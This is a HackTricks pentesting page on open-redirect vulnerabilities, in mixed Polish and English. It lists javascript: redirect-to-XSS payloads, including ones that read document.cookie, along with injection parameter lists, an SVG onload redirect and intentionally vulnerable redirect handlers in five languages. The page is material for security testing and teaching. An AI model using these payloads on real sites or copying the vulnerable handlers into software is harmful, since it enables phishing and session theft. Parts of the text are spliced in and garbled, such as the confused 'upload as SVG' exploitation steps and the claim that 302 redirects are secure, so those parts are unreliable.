hacktricks/pentesting-web/open-redirect.md

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.

</details>


# Przekierowanie otwarte

## Przekierowanie do localhosta lub dowolnych domen

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}

## Otwarte przekierowanie do XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
# Description

An open redirect vulnerability occurs when a web application allows users to redirect to external URLs without proper validation. This can be exploited by an attacker to redirect users to malicious websites or phishing pages.

## Exploitation

1. Identify the vulnerable parameter or input field that allows URL redirection.
2. Craft a malicious URL by appending the desired redirect URL as a parameter value.
3. Upload an SVG file containing the crafted URL as the redirect target.
4. Submit the SVG file to the web application.
5. When the SVG file is accessed, the web application will redirect the user to the specified URL.

## Example

Suppose there is a vulnerable parameter called `redirect` in the URL `https://example.com/login?redirect=`.
An attacker can craft a malicious URL like `https://example.com/login?redirect=https://malicious.com` and upload it as an SVG file.
When the SVG file is accessed, the user will be redirected to `https://malicious.com`.

## Prevention

To prevent open redirect vulnerabilities, follow these best practices:

- Validate and sanitize all user-supplied input before using it in a redirect.
- Whitelist allowed redirect URLs instead of using a blacklist approach.
- Implement server-side checks to ensure that the redirect URL belongs to the same domain.
- Use a secure redirect method, such as `302 Found`, instead of `301 Moved Permanently`.
- Educate developers about the risks of open redirects and provide secure coding guidelines.

## References

- [OWASP - Unvalidated Redirects and Forwards](https://owasp.org/www-community/attacks/Unvalidated_Redirects_and_Forwards)
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
# Wspólne parametry wstrzykiwania

When testing for open redirect vulnerabilities, it is important to understand the common injection parameters that can be exploited. These parameters are often found in the URL or in the request body. Here are some examples:

- **url**: This parameter is used to specify the target URL. Attackers can manipulate this parameter to redirect users to a malicious website.
- **redirect**: This parameter is used to specify the redirect URL. Attackers can modify this parameter to redirect users to a different website.
- **next**: This parameter is commonly used in login/logout functionality. Attackers can tamper with this parameter to redirect users to a malicious page after logging in or logging out.
- **return**: This parameter is often used in authentication flows. Attackers can modify this parameter to redirect users to a malicious page after successful authentication.
- **callback**: This parameter is commonly used in JSONP (JSON with Padding) requests. Attackers can manipulate this parameter to redirect users to a malicious website.

By understanding these common injection parameters, you can effectively test for open redirect vulnerabilities and protect your web application from potential attacks.
```
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
```csharp
using System;
using System.Web;

namespace OpenRedirect
{
    public partial class Redirect : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            string redirectUrl = Request.QueryString["url"];
            if (!string.IsNullOrEmpty(redirectUrl))
            {
                Response.Redirect(redirectUrl);
            }
        }
    }
}
```

### Java

```java
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String redirectUrl = request.getParameter("url");
        if (redirectUrl != null && !redirectUrl.isEmpty()) {
            response.sendRedirect(redirectUrl);
        }
    }
}
```

### PHP

```php
<?php
if (isset($_GET['url'])) {
    $redirectUrl = $_GET['url'];
    header("Location: $redirectUrl");
    exit();
}
?>
```

### Python

```python
from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/redirect')
def redirect_url():
    redirect_url = request.args.get('url')
    if redirect_url:
        return redirect(redirect_url)
    else:
        return 'No redirect URL provided.'

if __name__ == '__main__':
    app.run()
```

### Ruby

```ruby
require 'sinatra'

get '/redirect' do
    redirect_url = params[:url]
    if redirect_url
        redirect redirect_url
    else
        'No redirect URL provided.'
    end
end
```
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
### Java

Java jest popularnym językiem programowania, który jest szeroko stosowany w tworzeniu aplikacji webowych. Jednakże, jak każdy inny język programowania, Java również może być podatna na różne luki bezpieczeństwa. W tym rozdziale omówimy jedną z takich luk - przekierowanie otwarte.

#### Przekierowanie otwarte

Przekierowanie otwarte to luka bezpieczeństwa, która występuje, gdy aplikacja webowa przekierowuje użytkownika na zewnętrzny adres URL, który jest kontrolowany przez atakującego. Atakujący może wykorzystać tę lukę, aby przekierować użytkownika na złośliwą stronę lub wykonać atak typu phishing.

W Javie, przekierowanie otwarte może wystąpić, gdy aplikacja używa metody `sendRedirect()` z klasy `HttpServletResponse` do przekierowania użytkownika na inny adres URL. Atakujący może manipulować tym adresem URL, aby przekierować użytkownika na złośliwą stronę.

#### Wykrywanie przekierowania otwartego

Aby wykryć przekierowanie otwarte w aplikacji Javy, można przeprowadzić testy penetracyjne, podczas których sprawdza się, czy aplikacja umożliwia przekierowanie na dowolny adres URL. Można to zrobić, dodając parametr `url` do adresu URL aplikacji i sprawdzając, czy przekierowanie jest wykonywane na ten adres.

#### Zapobieganie przekierowaniu otwartemu

Aby zapobiec przekierowaniu otwartemu w aplikacji Javy, należy zawsze sprawdzać, czy przekierowanie jest wykonywane na zaufane adresy URL. Można to zrobić, porównując adres URL przekierowania z listą zaufanych adresów URL lub używając mechanizmu filtrów, który sprawdza, czy adres URL przekierowania jest bezpieczny.

#### Podsumowanie

Przekierowanie otwarte jest jedną z luk bezpieczeństwa, które mogą wystąpić w aplikacjach Javy. Aby zapobiec tej luce, należy zawsze sprawdzać, czy przekierowanie jest wykonywane na zaufane adresy URL i unikać przekierowywania na adresy kontrolowane przez użytkownika.
```bash
response.redirect("http://mysafedomain.com");
```
### PHP

PHP jest popularnym językiem programowania wykorzystywanym do tworzenia stron internetowych. Niestety, PHP może być podatny na ataki, takie jak przekierowanie otwarte. Przekierowanie otwarte to luka w zabezpieczeniach, która umożliwia atakującemu przekierowanie użytkownika na dowolny inny adres URL. Atakujący może wykorzystać tę lukę, aby przekierować użytkownika na złośliwą stronę lub wykonać inne niepożądane działania.

Aby uniknąć przekierowania otwartego, należy zawsze sprawdzać i weryfikować adresy URL przekierowań. Należy upewnić się, że przekierowanie odbywa się tylko na zaufane i zaakceptowane adresy URL. Można to osiągnąć poprzez sprawdzenie, czy adres URL zawiera oczekiwane parametry lub jest zgodny z listą zaufanych adresów URL.

Przykład kodu PHP, który może być podatny na przekierowanie otwarte:

```php
<?php
    $url = $_GET['url'];
    header("Location: " . $url);
?>
```

W powyższym przykładzie kodu, atakujący może przekazać dowolny adres URL jako parametr `url` w żądaniu GET. Następnie, ten adres URL jest używany w funkcji `header("Location: " . $url)` do przekierowania użytkownika. Jeśli nie ma żadnej weryfikacji adresu URL, atakujący może wykorzystać tę lukę do przekierowania użytkownika na złośliwą stronę.

Aby zabezpieczyć się przed przekierowaniem otwartym, można dodać weryfikację adresu URL, na przykład:

```php
<?php
    $url = $_GET['url'];
    $allowedUrls = array("https://example.com", "https://trusted-site.com");
    
    if (in_array($url, $allowedUrls)) {
        header("Location: " . $url);
    } else {
        echo "Nieprawidłowy adres URL";
    }
?>
```

W powyższym przykładzie kodu, tylko adresy URL znajdujące się na liście `$allowedUrls` będą akceptowane do przekierowania. Jeśli adres URL przekazany jako parametr `url` nie znajduje się na liście zaufanych adresów URL, zostanie wyświetlony komunikat o nieprawidłowym adresie URL.
```php
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
```
# Narzędzia

* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)

# Zasoby

* W [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) znajdziesz listy fuzzingowe.
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)


<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>